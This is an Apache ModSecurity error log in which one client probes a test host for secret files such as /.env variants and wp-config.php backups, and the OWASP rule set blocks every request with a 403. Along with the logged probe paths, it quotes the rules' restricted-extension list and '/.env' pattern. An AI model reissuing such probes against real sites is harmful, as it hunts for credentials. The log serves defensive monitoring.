[Thu Feb 26 01:02:49.253794 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDgAAAAI&quot;]
[Thu Feb 26 01:02:49.254069 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDgAAAAI&quot;]
[Thu Feb 26 01:02:49.254802 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDgAAAAI&quot;]
[Thu Feb 26 01:02:49.254960 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDgAAAAI&quot;]
[Thu Feb 26 01:02:49.289160 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.mail&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDwAAAAI&quot;]
[Thu Feb 26 01:02:49.289406 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDwAAAAI&quot;]
[Thu Feb 26 01:02:49.289587 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDwAAAAI&quot;]
[Thu Feb 26 01:02:49.331588 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEAAAAAI&quot;]
[Thu Feb 26 01:02:49.331843 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEAAAAAI&quot;]
[Thu Feb 26 01:02:49.332051 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEAAAAAI&quot;]
[Thu Feb 26 01:02:49.377055 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEQAAAAI&quot;]
[Thu Feb 26 01:02:49.377335 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEQAAAAI&quot;]
[Thu Feb 26 01:02:49.377554 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEQAAAAI&quot;]
[Thu Feb 26 01:02:49.377707 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEQAAAAI&quot;]
[Thu Feb 26 01:02:49.447618 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEgAAAAI&quot;]
[Thu Feb 26 01:02:49.447831 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEgAAAAI&quot;]
[Thu Feb 26 01:02:49.447979 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEgAAAAI&quot;]
[Thu Feb 26 01:02:49.458267 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SQAAAAY&quot;]
[Thu Feb 26 01:02:49.458575 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SQAAAAY&quot;]
[Thu Feb 26 01:02:49.458775 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SQAAAAY&quot;]
[Thu Feb 26 01:02:49.458954 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SQAAAAY&quot;]
[Thu Feb 26 01:02:49.496304 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.uat&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEwAAAAI&quot;]
[Thu Feb 26 01:02:49.496519 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEwAAAAI&quot;]
[Thu Feb 26 01:02:49.496679 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlEwAAAAI&quot;]
[Thu Feb 26 01:02:49.521313 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SwAAAAY&quot;]
[Thu Feb 26 01:02:49.521629 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SwAAAAY&quot;]
[Thu Feb 26 01:02:49.521846 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SwAAAAY&quot;]
[Thu Feb 26 01:02:49.522026 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4SwAAAAY&quot;]
[Thu Feb 26 01:02:49.526867 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_aws&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFAAAAAI&quot;]
